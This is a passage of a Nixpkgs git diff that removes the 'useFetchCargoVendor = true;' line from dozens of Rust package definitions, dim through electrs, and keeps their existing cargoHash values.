--- a/pkgs/by-name/di/dim/package.nix
+++ b/pkgs/by-name/di/dim/package.nix
@@ -68,7 +68,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-T0v7pajg3UfRnVOx3ie6rOf+vJSW2l7yoCsJrtxIwcg=";
 
   postPatch = ''
diff --git a/pkgs/by-name/di/dioxionary/package.nix b/pkgs/by-name/di/dioxionary/package.nix
index 16fedc05404f..326bb7b49d2e 100644
--- a/pkgs/by-name/di/dioxionary/package.nix
+++ b/pkgs/by-name/di/dioxionary/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
   };
 
   cargoHash = "sha256-YFx8V86awxVUX83bNLHRP6nIBZGHck/0ywriBgVqvxY=";
-  useFetchCargoVendor = true;
 
   nativeBuildInputs = [
     pkg-config
diff --git a/pkgs/by-name/di/dioxus-cli/package.nix b/pkgs/by-name/di/dioxus-cli/package.nix
index 3105acc5fb0b..15c1311c9739 100644
--- a/pkgs/by-name/di/dioxus-cli/package.nix
+++ b/pkgs/by-name/di/dioxus-cli/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wuIJq+UN1q5qYW4TXivq93C9kZiPHwBW5Ty2Vpik2oY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-L9r/nJj0Rz41mg952dOgKxbDS5u4zGEjSA3EhUHfGIk=";
   cargoPatches = [
     # TODO: Remove once https://github.com/DioxusLabs/dioxus/issues/3659 is fixed upstream.
diff --git a/pkgs/by-name/di/dipc/package.nix b/pkgs/by-name/di/dipc/package.nix
index 3ad9d73d0857..82ff25b96b7b 100644
--- a/pkgs/by-name/di/dipc/package.nix
+++ b/pkgs/by-name/di/dipc/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-RXEC8bwdnUOaDmYIb7ci/JD+vi16tBn55FRsUmwaRzk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1vjVuAawuquPqem1as6xIv/ZJCzjgC4k0uyPSlrvpeg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/di/diskus/package.nix b/pkgs/by-name/di/diskus/package.nix
index d83b2fa79fe2..4f561287a24a 100644
--- a/pkgs/by-name/di/diskus/package.nix
+++ b/pkgs/by-name/di/diskus/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-88+U5Y2CC0PhikRO3VqoUwZEYZjwln+61OPWbLLb8T0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-keBnhE4ltOVMEuxPifiB2EAHk32u3PqaPGTeVexVXWM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/di/display3d/package.nix b/pkgs/by-name/di/display3d/package.nix
index 76cbbe0d8bc3..6b9667d82059 100644
--- a/pkgs/by-name/di/display3d/package.nix
+++ b/pkgs/by-name/di/display3d/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dFfU80/1fhBz9/0fVZigo+nZx6Lj66OsP52oMDpS+BY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eXpoWKYonNZQqqIFrxO4RnLLX1s1osaZxZt3gVTYd4o=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/di/distant/package.nix b/pkgs/by-name/di/distant/package.nix
index cd5ae71304b6..6573d5e9fbc8 100644
--- a/pkgs/by-name/di/distant/package.nix
+++ b/pkgs/by-name/di/distant/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     rm .cargo/config.toml
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HEyPfkusgk8JEYAzIS8Zj5EU0MK4wt4amlsJqBEG/Kc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/di/diswall/package.nix b/pkgs/by-name/di/diswall/package.nix
index da7faadf9365..8607ff372877 100644
--- a/pkgs/by-name/di/diswall/package.nix
+++ b/pkgs/by-name/di/diswall/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-t2ZBi3ab6OUWzc0L0Hq/ay+s3KNDMeu6mkYxti48BuE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-I4jfeOtK+ho2jksGHgQqHE+L6UzS240t+7v3/Eb/xAs=";
 
   doCheck = false;
diff --git a/pkgs/by-name/dm/dmlive/package.nix b/pkgs/by-name/dm/dmlive/package.nix
index c3fbc6542b78..8b256875cbe1 100644
--- a/pkgs/by-name/dm/dmlive/package.nix
+++ b/pkgs/by-name/dm/dmlive/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-pAsxr6zGCDZ0qysGT1+2+5+WKI2QopGxnZWpfnxk/fI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GVko8GK5Muha4uqDMgk7VkFoFCVcmk0vM1GUELvSzgM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/dn/dnglab/package.nix b/pkgs/by-name/dn/dnglab/package.nix
index f7e023281c3e..70a0687d4a3c 100644
--- a/pkgs/by-name/dn/dnglab/package.nix
+++ b/pkgs/by-name/dn/dnglab/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-k0tKNtVDzE5vVi/953aEQihh+5BsVneqauTr9WRFFrY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PsTv7OG1dHxPvid2gTA/8KZwWc6/g2XB1UvhQpvTStE=";
 
   postInstall = ''
diff --git a/pkgs/by-name/dn/dnspeep/package.nix b/pkgs/by-name/dn/dnspeep/package.nix
index 091b0cfb36e8..28ee48c4ab19 100644
--- a/pkgs/by-name/dn/dnspeep/package.nix
+++ b/pkgs/by-name/dn/dnspeep/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-QpUbHiMDQFRCTVyjrO9lfQQ62Z3qanv0j+8eEXjE3n4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tZlh7+END6oOy3uWOrjle+nwqFhMU6bbXmr4hdt6gqY=";
 
   LIBPCAP_LIBDIR = lib.makeLibraryPath [ libpcap ];
diff --git a/pkgs/by-name/do/doctave/package.nix b/pkgs/by-name/do/doctave/package.nix
index ade139871dd2..9828b2ec5918 100644
--- a/pkgs/by-name/do/doctave/package.nix
+++ b/pkgs/by-name/do/doctave/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8mGSFQozyLoGua9mwyqfDcYNMtbeWp9Phb0vaje+AJ0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3gyYls1+5eVM3eLlFNmULvIbc5VgoWpfnpO4nmoDMAI=";
 
   meta = {
diff --git a/pkgs/by-name/do/docuum/package.nix b/pkgs/by-name/do/docuum/package.nix
index 90cb06b6babb..3adc0260d43a 100644
--- a/pkgs/by-name/do/docuum/package.nix
+++ b/pkgs/by-name/do/docuum/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nWd6h39jU1eZWPFMxhxActsmrs9k0TDMlealuzTa+o0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ce8mthEWvZ+U2+lU3gGrq1YBzbkiqUGJV5JUsZ+HhBg=";
 
   checkFlags = [
diff --git a/pkgs/by-name/do/dogedns/package.nix b/pkgs/by-name/do/dogedns/package.nix
index a8ec3cd67c82..d08585ddfcd1 100644
--- a/pkgs/by-name/do/dogedns/package.nix
+++ b/pkgs/by-name/do/dogedns/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3wOka+MKSy2x3100eF0d9A5Jc0qFSNCiLsisHO1Uldc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9Qm93Hmxutmg3oCXSVrCUAYA2W4gXR/LPC5zZ34x5jQ=";
 
   patches = [
diff --git a/pkgs/by-name/do/doh-proxy-rust/package.nix b/pkgs/by-name/do/doh-proxy-rust/package.nix
index cec812fe5ea9..f583d31df2fa 100644
--- a/pkgs/by-name/do/doh-proxy-rust/package.nix
+++ b/pkgs/by-name/do/doh-proxy-rust/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-h2LwxqyyBPAXRr6XOmcLEmbet063kkM1ledULp3M2ek=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eYJoHFIC0NF3OAbZXDWB57IOFC9JDV4IXHQgzIWMT04=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/do/dotacat/package.nix b/pkgs/by-name/do/dotacat/package.nix
index 984909f1625e..c1d9fe6a6ce8 100644
--- a/pkgs/by-name/do/dotacat/package.nix
+++ b/pkgs/by-name/do/dotacat/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-y+u9PO01W+IzBatGHZpgOD7cRKjdeuy4/VX7/V9cu3Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Q8jhbSfVY/8SsB8OZpOsSYZ5sRI3FjzIev3LYYpyXeM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/do/dotenv-linter/package.nix b/pkgs/by-name/do/dotenv-linter/package.nix
index 8c8f6d425d72..f45187e59121 100644
--- a/pkgs/by-name/do/dotenv-linter/package.nix
+++ b/pkgs/by-name/do/dotenv-linter/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-HCP1OUWm/17e73TbinmDxYUi18/KXxppstyUSixjlSo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lBHqvwZrnkSfmMXBmnhovbDn+pf5iLJepJjO/FKT1wY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/do/dotenvy/package.nix b/pkgs/by-name/do/dotenvy/package.nix
index a39519d7ff9a..a3112fea3695 100644
--- a/pkgs/by-name/do/dotenvy/package.nix
+++ b/pkgs/by-name/do/dotenvy/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-virK/TpYBmwTf5UCQCqC/df8iKYAzPBfsQ1nQkFKF2Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eDmSPl1wsEriOtesv0KpLlpdeJPSQzbwh+QeZcFzDbc=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/do/dotslash/package.nix b/pkgs/by-name/do/dotslash/package.nix
index 4b1f8c21e26d..4940a3182e53 100644
--- a/pkgs/by-name/do/dotslash/package.nix
+++ b/pkgs/by-name/do/dotslash/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Djoi3x6FZZORnnE5Ly8VibfdzVNPef45JvL83fAJqAQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PLiVHq5GrCf/C8AxZyKmWPr47PvU6HxpBad8dxJXhHs=";
   doCheck = false; # http tests
 
diff --git a/pkgs/by-name/do/dotter/package.nix b/pkgs/by-name/do/dotter/package.nix
index 789fa76979b9..a6f6747886d3 100644
--- a/pkgs/by-name/do/dotter/package.nix
+++ b/pkgs/by-name/do/dotter/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7YExvmuliTL9oagXNUtZ7ZOPyELcS+igK1tXdhG0kQk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UBZZu8D1fbNOn2obviP+/Qw+E/OoNKRA4NXzqCqghGs=";
 
   nativeCheckInputs = [
diff --git a/pkgs/by-name/do/dovi-tool/package.nix b/pkgs/by-name/do/dovi-tool/package.nix
index 8e4422dc72cd..c39a26409531 100644
--- a/pkgs/by-name/do/dovi-tool/package.nix
+++ b/pkgs/by-name/do/dovi-tool/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-z783L6gBr9o44moKYZGwymWEMp5ZW7yOhZcpvbznXK4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pwB6QBLeHALbYZHzTBm/ODLPHhxM3B5n+B/0iXYNuVc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/dp/dpms-off/package.nix b/pkgs/by-name/dp/dpms-off/package.nix
index cdc64f0b3282..2fd41461ada7 100644
--- a/pkgs/by-name/dp/dpms-off/package.nix
+++ b/pkgs/by-name/dp/dpms-off/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-fADydBO4XISt2n7vrkCuca8db9jtMVsUUvqYAqeVy60=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wpX14e+J+n1it+1D6OD/AyDn+bOuSoJCEEWlmuZ7c0Y=";
 
   meta = {
diff --git a/pkgs/by-name/dp/dprint/package.nix b/pkgs/by-name/dp/dprint/package.nix
index 393aababe315..fb52a42d2549 100644
--- a/pkgs/by-name/dp/dprint/package.nix
+++ b/pkgs/by-name/dp/dprint/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-Lt6CzSzppu5ULhzYN5FTCWtWK3AA4/8jRzXgQkU4Tco=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1opQaR3vbm/DpDY5oQ1VgA4nf0nCBknxfgOSPZQbtV4=";
 
   nativeBuildInputs = lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
diff --git a/pkgs/by-name/dr/drill/package.nix b/pkgs/by-name/dr/drill/package.nix
index 348780dab757..88ea7e4d854d 100644
--- a/pkgs/by-name/dr/drill/package.nix
+++ b/pkgs/by-name/dr/drill/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-4y5gpkQB0U6Yq92O6DDD5eq/i/36l/VfeyiE//pcZOk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wrfQtJHhSG53tV3R4u/Ri4iv1VoAmuT3xleAQEJOIzE=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/by-name/dt/dtool/package.nix b/pkgs/by-name/dt/dtool/package.nix
index 3420b9e8db97..68a11c810ae7 100644
--- a/pkgs/by-name/dt/dtool/package.nix
+++ b/pkgs/by-name/dt/dtool/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-m4H+ANwEbK6vGW3oIVZqnqvMiAKxNJf2TLIGh/G6AU4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-C0H5cIMMfUPJ2iJCUs1jEu3Ln8CdDgbgstMnH/f9FRY=";
   # FIXME: remove patch when upstream version of rustc-serialize is updated
   cargoPatches = [ ./rustc-serialize-fix.patch ];
diff --git a/pkgs/by-name/du/duckscript/package.nix b/pkgs/by-name/du/duckscript/package.nix
index f4f136c2fd53..307d155d004d 100644
--- a/pkgs/by-name/du/duckscript/package.nix
+++ b/pkgs/by-name/du/duckscript/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     libiconv
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ft6EUajAj+Zw3cEhdajwwHAaMaUf+/vtTuUYni8E+o0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/du/dufs/package.nix b/pkgs/by-name/du/dufs/package.nix
index f7e22cd77abc..936424ea6b11 100644
--- a/pkgs/by-name/du/dufs/package.nix
+++ b/pkgs/by-name/du/dufs/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-KkuP9UE9VT9aJ50QH1Y/2f+t0tLOMyNovxCaLq0Jz0s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OQyMai0METXLSFl09eIk1xnL9QV5cEEiRNVEz1dHg+c=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/du/dum/package.nix b/pkgs/by-name/du/dum/package.nix
index 928ccc53afe6..e08c6d39a305 100644
--- a/pkgs/by-name/du/dum/package.nix
+++ b/pkgs/by-name/du/dum/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-rkdQb4TI7lfWE4REJYsIJwMcmM/78jjgQrd0ZvKJxk8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CpVci0nw/6Y6uyQX6iRV9E7uXzdZ2fzYIelYxsc+tI0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/du/dumbpipe/package.nix b/pkgs/by-name/du/dumbpipe/package.nix
index 7a9d0631c6d8..997df1993663 100644
--- a/pkgs/by-name/du/dumbpipe/package.nix
+++ b/pkgs/by-name/du/dumbpipe/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xQHVEJ+EgsrboXbPg7pGXXMjyedSLooqkTt/yYZACSo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uuY0nh4VHzyM7+cbgyycr5I3IjE0OeQ0eg12qVXe4BQ=";
 
   __darwinAllowLocalNetworking = true;
diff --git a/pkgs/by-name/du/dummyhttp/package.nix b/pkgs/by-name/du/dummyhttp/package.nix
index d212809cf1de..aeac1bf7b19b 100644
--- a/pkgs/by-name/du/dummyhttp/package.nix
+++ b/pkgs/by-name/du/dummyhttp/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-C3fjZgjVazZ8BNhcFJD5SsRO+xjHxw9XQPfPS+qnGtc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bjNB0aoG9Mrz1JzD80j2Czfg0pfU2uGlFFsi5WO4pdU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/du/dump_syms/package.nix b/pkgs/by-name/du/dump_syms/package.nix
index ad31cbd1cc3f..386502ccf27f 100644
--- a/pkgs/by-name/du/dump_syms/package.nix
+++ b/pkgs/by-name/du/dump_syms/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-zxYGxqnh6urXDC/ZQf3aFzBqOj5QNulyDpTsZ47BDkU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gnXf6APcEJJKpKsqsBPLXlZddEt+6ENyt15iDw8XShc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/du/dupe-krill/package.nix b/pkgs/by-name/du/dupe-krill/package.nix
index a641d7045033..a1d4a949dd08 100644
--- a/pkgs/by-name/du/dupe-krill/package.nix
+++ b/pkgs/by-name/du/dupe-krill/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ze9OQHNtujzn2rY24bmFUkz5AYsjoMrwqm4jyQoF53Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OMXxMWMQIYXe41sxM+KQRMRicH61dIXUe51zdXn8ZYM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/du/dura/package.nix b/pkgs/by-name/du/dura/package.nix
index eb2e035423eb..7714681b696b 100644
--- a/pkgs/by-name/du/dura/package.nix
+++ b/pkgs/by-name/du/dura/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-xAcFk7z26l4BYYBEw+MvbG6g33MpPUvnpGvgmcqhpGM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Xci9168KqJf+mhx3k0d+nH6Ov5tqNtB6nxiL9BwVYjU=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/du/dutree/package.nix b/pkgs/by-name/du/dutree/package.nix
index d6f1d42a4b8c..77878d1d291a 100644
--- a/pkgs/by-name/du/dutree/package.nix
+++ b/pkgs/by-name/du/dutree/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     '';
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-P3h7C6hXKhYBaf0CKlsB+4tnfj/1Aw1iFSlvMNGbSYI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/dy/dynein/package.nix b/pkgs/by-name/dy/dynein/package.nix
index 75fcbb6ffe83..47a0a47a2e34 100644
--- a/pkgs/by-name/dy/dynein/package.nix
+++ b/pkgs/by-name/dy/dynein/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
   # Use system openssl.
   OPENSSL_NO_VENDOR = 1;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PA7Hvn+vYBD80thkIamwOhw4lJWAmU/TQBnwJro4r7c=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/dy/dynisland/package.nix b/pkgs/by-name/dy/dynisland/package.nix
index 3096cb8f0047..5108342cd1a6 100644
--- a/pkgs/by-name/dy/dynisland/package.nix
+++ b/pkgs/by-name/dy/dynisland/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-91dQG0NvEL28gHxn6zk3vLODNft8C5ymkLddMT+PB0Q=";
 
   buildFeatures = [ "completions" ];
diff --git a/pkgs/by-name/dy/dysk/package.nix b/pkgs/by-name/dy/dysk/package.nix
index 1c3f8ade2705..61e6aa5cc169 100644
--- a/pkgs/by-name/dy/dysk/package.nix
+++ b/pkgs/by-name/dy/dysk/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-B6iEssB9+BUXO4p1aSzrOGlBA8TiUOZY7a9U8F9SXaQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qfKNxLtvVaXGVP0wzOoZ5jaViO4hcMoZIOqxrpXiWzc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ea/ea/package.nix b/pkgs/by-name/ea/ea/package.nix
index 7c4a649f2ab9..8dc3b5bf6394 100644
--- a/pkgs/by-name/ea/ea/package.nix
+++ b/pkgs/by-name/ea/ea/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Sv+bwqb9FmcBk3XUu0QLJr6hyV6JUnVzL7RXh0pbe2s=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ea/each/package.nix b/pkgs/by-name/ea/each/package.nix
index 27ae4b17e104..88c14f19290f 100644
--- a/pkgs/by-name/ea/each/package.nix
+++ b/pkgs/by-name/ea/each/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-5Aa/uHWrU4bpWd28Uddnuhmi6guHy09W9AU8sAfea6I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TfAT36/JeBjBxymnX1gIyCEPZcxTW4fPVIOhHF3z9wA=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ea/ear2ctl/package.nix b/pkgs/by-name/ea/ear2ctl/package.nix
index bf26ad7ad8e2..fae75cbd2d84 100644
--- a/pkgs/by-name/ea/ear2ctl/package.nix
+++ b/pkgs/by-name/ea/ear2ctl/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xaxl4opLMw9KEDpmNcgR1fBGUqO4BP5a/U52Kz+GAvc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2yMq1Ag0cUXMBMjpkdqYxkKMXQiZ5536cmwoaCrpFgI=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ea/earbuds/package.nix b/pkgs/by-name/ea/earbuds/package.nix
index ec766e56e22a..d1331b2f3142 100644
--- a/pkgs/by-name/ea/earbuds/package.nix
+++ b/pkgs/by-name/ea/earbuds/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage {
     ./fix-daemon.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Y1pMmWxfXGcEFPj05/BpXQvd199O5l6hJmePNxMQc/Y=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ea/earthlyls/package.nix b/pkgs/by-name/ea/earthlyls/package.nix
index 274c71c9d748..7ecfea36f8fe 100644
--- a/pkgs/by-name/ea/earthlyls/package.nix
+++ b/pkgs/by-name/ea/earthlyls/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GnFzfCjT4kjb9WViKIFDkIU7zVpiI6HDuUeddgHGQuc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sWbYN92Jfr/Pr3qoHWkew/ASIdq8DQg0WHpdyklGBLo=";
 
   passthru = {
diff --git a/pkgs/by-name/ea/easytier/package.nix b/pkgs/by-name/ea/easytier/package.nix
index 39871a0e8bea..92c80275faee 100644
--- a/pkgs/by-name/ea/easytier/package.nix
+++ b/pkgs/by-name/ea/easytier/package.nix
@@ -19,8 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-YrWuNHpNDs1VVz6Sahi2ViPT4kcJf10UUMRWEs4Y0xc=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-uUmF4uIhSx+byG+c4hlUuuy+O87Saw8wRJ5OGk3zaPA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ec/ecc/package.nix b/pkgs/by-name/ec/ecc/package.nix
index 147d3944581f..0bd20bca6206 100644
--- a/pkgs/by-name/ec/ecc/package.nix
+++ b/pkgs/by-name/ec/ecc/package.nix
@@ -65,7 +65,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/compiler/cmd";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-iYceYwRqnYA6KxCQxOieR8JZ6TQlIL+OSzAjyr4Cu/g=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ec/ecpdap/package.nix b/pkgs/by-name/ec/ecpdap/package.nix
index 7b594468a732..77e3bfaa18a8 100644
--- a/pkgs/by-name/ec/ecpdap/package.nix
+++ b/pkgs/by-name/ec/ecpdap/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-pgQqDRdewBSCm1/9/r8E9DBzwSKAaons3e6OLNv5gHM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-o+qm4MFZt+BzqhQsaI5EU9lZz4LI9D75eL+VKIKbIyI=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ef/effitask/package.nix b/pkgs/by-name/ef/effitask/package.nix
index 636e39c75117..780bea8cf498 100644
--- a/pkgs/by-name/ef/effitask/package.nix
+++ b/pkgs/by-name/ef/effitask/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-6BA/TCCqVh5rtgGkUgk8nIqUzozipC5rrkbXMDWYpdQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-j9WCzsh6aitmJeeyLDm0YrZHEAZlCNfGWANM/nmuncw=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ef/efmt/package.nix b/pkgs/by-name/ef/efmt/package.nix
index 4210168ee020..e9c2c1489829 100644
--- a/pkgs/by-name/ef/efmt/package.nix
+++ b/pkgs/by-name/ef/efmt/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-l+DiOMUTEF6btsgkfgDtY45fH6GyqKBqHjuTfCF/ybA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NJ49DqJW0qgM1dPOzlwMP9+JEfa1/YxvgMm4WmJ0mFA=";
 
   meta = {
diff --git a/pkgs/by-name/eg/egglog/package.nix b/pkgs/by-name/eg/egglog/package.nix
index 1a46064ac5bd..bb7951be9514 100644
--- a/pkgs/by-name/eg/egglog/package.nix
+++ b/pkgs/by-name/eg/egglog/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-j+3qknmezKqHVxvfmG9oPFtWOzJsimGXYe5PWX694mI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gWccsWZCOucNP6M6cJqCMF8emwzqLXkaRm/huK4ARTs=";
 
   useNextest = true;
diff --git a/pkgs/by-name/eg/ego/package.nix b/pkgs/by-name/eg/ego/package.nix
index f9fd2574c322..cdf162f1f23a 100644
--- a/pkgs/by-name/eg/ego/package.nix
+++ b/pkgs/by-name/eg/ego/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ makeBinaryWrapper ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GwWDH3np/YKUx7BLmKxUui2CXLYbHjivWC1av9jaccA=";
 
   # requires access to /root
diff --git a/pkgs/by-name/el/elan/package.nix b/pkgs/by-name/el/elan/package.nix
index 4b3f3114d422..2d462ace0b28 100644
--- a/pkgs/by-name/el/elan/package.nix
+++ b/pkgs/by-name/el/elan/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-z20QiYbpEx591CtGerdX63not9S7TB5BJFoCoGTYen0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-T8R1BostefR0vbmKo1UDmP6FjXWfsfFUtF/oRqAN7mc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/el/electrs/package.nix b/pkgs/by-name/el/electrs/package.nix
index 01e1b624821b..8583bf8a75a6 100644
--- a/pkgs/by-name/el/electrs/package.nix
+++ b/pkgs/by-name/el/electrs/package.nix
